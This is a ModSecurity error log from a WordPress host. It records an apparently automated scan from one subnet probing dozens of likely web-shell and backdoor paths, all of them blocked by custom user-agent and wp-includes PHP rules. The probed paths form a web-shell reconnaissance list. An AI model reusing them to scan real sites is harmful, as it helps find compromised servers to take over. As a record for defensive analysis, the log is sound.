[Thu May 07 15:25:47.789677 2026] [:error] [pid 28098:tid 28102] [client 98.159.43.140:53311] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "afw-e8vhwfljlt8trSqJqAAAAEI"]
[Thu May 07 15:25:47.985987 2026] [:error] [pid 15715:tid 15737] [client 98.159.43.137:39045] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "afw-eyY4dZsLOttMkcdexgAAARE"]
[Thu May 07 15:25:48.187166 2026] [:error] [pid 15629:tid 15652] [client 98.159.43.153:33877] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "afw-fPrIJCALdUrO43lXqQAAABM"]
[Thu May 07 15:25:48.386728 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.123:41835] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/"] [unique_id "afw-fMvhwfljlt8trSqJqgAAAEA"]
[Thu May 07 15:25:48.584253 2026] [:error] [pid 28098:tid 28122] [client 98.159.43.146:56065] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "afw-fMvhwfljlt8trSqJqwAAAFY"]
[Thu May 07 15:25:48.779877 2026] [:error] [pid 15715:tid 15736] [client 98.159.43.156:62353] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "afw-fCY4dZsLOttMkcdeyQAAARA"]
[Thu May 07 15:25:48.977568 2026] [:error] [pid 15715:tid 15731] [client 98.159.43.130:28751] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/admin.php"] [unique_id "afw-fCY4dZsLOttMkcdeygAAAQs"]
[Thu May 07 15:25:49.175196 2026] [:error] [pid 15629:tid 15651] [client 98.159.43.156:49301] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system_core.php"] [unique_id "afw-ffrIJCALdUrO43lXqgAAABI"]
[Thu May 07 15:25:49.380924 2026] [:error] [pid 15629:tid 15656] [client 98.159.43.121:62255] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "afw-ffrIJCALdUrO43lXqwAAABc"]
[Thu May 07 15:25:49.580068 2026] [:error] [pid 15629:tid 15648] [client 98.159.43.163:64093] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/"] [unique_id "afw-ffrIJCALdUrO43lXrQAAAA8"]
[Thu May 07 15:25:49.783146 2026] [:error] [pid 15629:tid 15647] [client 98.159.43.136:50159] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "afw-ffrIJCALdUrO43lXrgAAAA4"]
[Thu May 07 15:25:49.981064 2026] [:error] [pid 15629:tid 15635] [client 98.159.43.153:36575] [client 98.159.43.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afw-ffrIJCALdUrO43lXrwAAAAI"]
[Thu May 07 15:25:50.180959 2026] [:error] [pid 15629:tid 15653] [client 98.159.43.115:42375] [client 98.159.43.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "afw-fvrIJCALdUrO43lXsgAAABQ"]
[Thu May 07 15:25:50.381212 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.151:61439] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/"] [unique_id "afw-fiY4dZsLOttMkcdeywAAARM"]
[Thu May 07 15:25:50.582296 2026] [:error] [pid 15629:tid 15642] [client 98.159.43.136:32907] [client 98.159.43.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/components/"] [unique_id "afw-fvrIJCALdUrO43lXswAAAAk"]
[Thu May 07 15:25:50.778735 2026] [:error] [pid 15715:tid 15721] [client 98.159.43.158:21407] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/images/"] [unique_id "afw-fiY4dZsLOttMkcdezAAAAQQ"]
[Thu May 07 15:25:50.976460 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.138:45637] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "afw-fsvhwfljlt8trSqJrQAAAFc"]
[Thu May 07 15:25:51.174700 2026] [:error] [pid 15630:tid 15674] [client 98.159.43.112:37579] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/archives/"] [unique_id "afw-f3TithRAi4821quPoAAAAI4"]
[Thu May 07 15:25:51.371925 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.105:27745] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "afw-f8vhwfljlt8trSqJrgAAAEw"]
[Thu May 07 15:25:51.568676 2026] [:error] [pid 28098:tid 28102] [client 98.159.43.113:39023] [client 98.159.43.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/php-compat/"] [unique_id "afw-f8vhwfljlt8trSqJrwAAAEI"]
[Thu May 07 15:25:51.766175 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.163:55219] [client 98.159.43.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/"] [unique_id "afw-f8vhwfljlt8trSqJsQAAAEY"]
[Thu May 07 15:25:51.964595 2026] [:error] [pid 15715:tid 15734] [client 98.159.43.108:28721] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afw-fyY4dZsLOttMkcdezQAAAQ4"]
[Thu May 07 15:25:52.164896 2026] [:error] [pid 15715:tid 15726] [client 98.159.43.146:58743] [client 98.159.43.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "afw-gCY4dZsLOttMkcdezgAAAQk"]
[Thu May 07 15:25:52.363089 2026] [:error] [pid 28098:tid 28105] [client 98.159.43.109:52215] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "afw-gMvhwfljlt8trSqJsgAAAEU"]
[Thu May 07 15:25:52.561158 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.154:46721] [client 98.159.43.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/test2.php"] [unique_id "afw-gMvhwfljlt8trSqJswAAAEM"]
[Thu May 07 15:25:52.759460 2026] [:error] [pid 15715:tid 15744] [client 98.159.43.105:23999] [client 98.159.43.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "afw-gCY4dZsLOttMkcde0AAAARg"]
[Thu May 07 15:25:52.959293 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.108:27777] [client 98.159.43.108] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-file.php"] [unique_id "afw-gMvhwfljlt8trSqJtQAAAEQ"]
[Thu May 07 15:25:53.167963 2026] [:error] [pid 28098:tid 28117] [client 98.159.43.112:64171] [client 98.159.43.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/"] [unique_id "afw-gcvhwfljlt8trSqJtgAAAFE"]
[Thu May 07 15:25:53.365491 2026] [:error] [pid 28098:tid 28113] [client 98.159.43.149:44101] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "afw-gcvhwfljlt8trSqJuAAAAE0"]
[Thu May 07 15:25:53.565296 2026] [:error] [pid 28098:tid 28123] [client 98.159.43.135:63419] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/light/"] [unique_id "afw-gcvhwfljlt8trSqJuQAAAFc"]
[Thu May 07 15:25:53.764028 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.123:63653] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/about.php"] [unique_id "afw-gcvhwfljlt8trSqJugAAAEw"]
[Thu May 07 15:25:53.961881 2026] [:error] [pid 15631:tid 15707] [client 98.159.43.120:46891] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/plugin/"] [unique_id "afw-gXvP1GkPUuuLfqUMxgAAANQ"]
[Thu May 07 15:25:54.160942 2026] [:error] [pid 15631:tid 15692] [client 98.159.43.123:59327] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "afw-gnvP1GkPUuuLfqUMxwAAAMU"]
[Thu May 07 15:25:54.360526 2026] [:error] [pid 28098:tid 28109] [client 98.159.43.140:53743] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/"] [unique_id "afw-gsvhwfljlt8trSqJvAAAAEk"]
[Thu May 07 15:25:54.560394 2026] [:error] [pid 28098:tid 28111] [client 98.159.43.157:27383] [client 98.159.43.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "afw-gsvhwfljlt8trSqJvQAAAEs"]
[Thu May 07 15:25:54.758731 2026] [:error] [pid 28098:tid 28100] [client 98.159.43.106:45813] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afw-gsvhwfljlt8trSqJvgAAAEA"]
[Thu May 07 15:25:54.959436 2026] [:error] [pid 15630:tid 15663] [client 98.159.43.135:35199] [client 98.159.43.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "afw-gnTithRAi4821quPpQAAAIM"]
[Thu May 07 15:25:55.158882 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.122:43229] [client 98.159.43.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "afw-g8vhwfljlt8trSqJvwAAAEM"]
[Thu May 07 15:25:55.359633 2026] [:error] [pid 28098:tid 28104] [client 98.159.43.151:27363] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "afw-g8vhwfljlt8trSqJwAAAAEQ"]
[Thu May 07 15:25:55.556099 2026] [:error] [pid 28098:tid 28121] [client 98.159.43.133:27427] [client 98.159.43.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/"] [unique_id "afw-g8vhwfljlt8trSqJwgAAAFU"]
[Thu May 07 15:25:55.756284 2026] [:error] [pid 28098:tid 28110] [client 98.159.43.117:56405] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/config.php"] [unique_id "afw-g8vhwfljlt8trSqJwwAAAEo"]
[Thu May 07 15:25:55.954827 2026] [:error] [pid 28098:tid 28107] [client 98.159.43.123:60047] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/header.php"] [unique_id "afw-g8vhwfljlt8trSqJxAAAAEc"]
[Thu May 07 15:25:56.150826 2026] [:error] [pid 28098:tid 28112] [client 98.159.43.121:43213] [client 98.159.43.121] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello.php"] [unique_id "afw-hMvhwfljlt8trSqJxQAAAEw"]
[Thu May 07 15:25:56.349956 2026] [:error] [pid 15630:tid 15660] [client 98.159.43.149:38129] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "afw-hHTithRAi4821quPpwAAAIA"]
[Thu May 07 15:25:56.549420 2026] [:error] [pid 15629:tid 15656] [client 98.159.43.155:55707] [client 98.159.43.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2024/"] [unique_id "afw-hPrIJCALdUrO43lXtwAAABc"]
[Thu May 07 15:25:56.746419 2026] [:error] [pid 15630:tid 15682] [client 98.159.43.142:49303] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/Core/"] [unique_id "afw-hHTithRAi4821quPqQAAAJY"]
[Thu May 07 15:25:56.944607 2026] [:error] [pid 28098:tid 28106] [client 98.159.43.116:45571] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/widgets/"] [unique_id "afw-hMvhwfljlt8trSqJyQAAAEY"]
[Thu May 07 15:25:57.141383 2026] [:error] [pid 28098:tid 28116] [client 98.159.43.144:62061] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/"] [unique_id "afw-hcvhwfljlt8trSqJygAAAFA"]
[Thu May 07 15:25:57.342121 2026] [:error] [pid 15715:tid 15720] [client 98.159.43.110:50161] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "afw-hSY4dZsLOttMkcde0QAAAQM"]
[Thu May 07 15:25:57.543462 2026] [:error] [pid 15715:tid 15732] [client 98.159.43.119:61117] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "afw-hSY4dZsLOttMkcde1AAAAQw"]
[Thu May 07 15:25:57.836528 2026] [:error] [pid 28098:tid 28103] [client 98.159.43.120:31155] [client 98.159.43.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afw-hcvhwfljlt8trSqJzAAAAEM"]
[Thu May 07 15:25:58.036860 2026] [:error] [pid 15715:tid 15724] [client 98.159.43.116:55723] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/"] [unique_id "afw-hiY4dZsLOttMkcde1QAAAQc"]
[Thu May 07 15:25:58.235142 2026] [:error] [pid 15715:tid 15731] [client 98.159.43.141:60345] [client 98.159.43.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/"] [unique_id "afw-hiY4dZsLOttMkcde1gAAAQs"]
[Thu May 07 15:25:58.432704 2026] [:error] [pid 15715:tid 15739] [client 98.159.43.107:61911] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "afw-hiY4dZsLOttMkcde2AAAARM"]
[Thu May 07 15:25:58.634500 2026] [:error] [pid 28098:tid 28114] [client 98.159.43.130:32651] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/"] [unique_id "afw-hsvhwfljlt8trSqJzgAAAE4"]
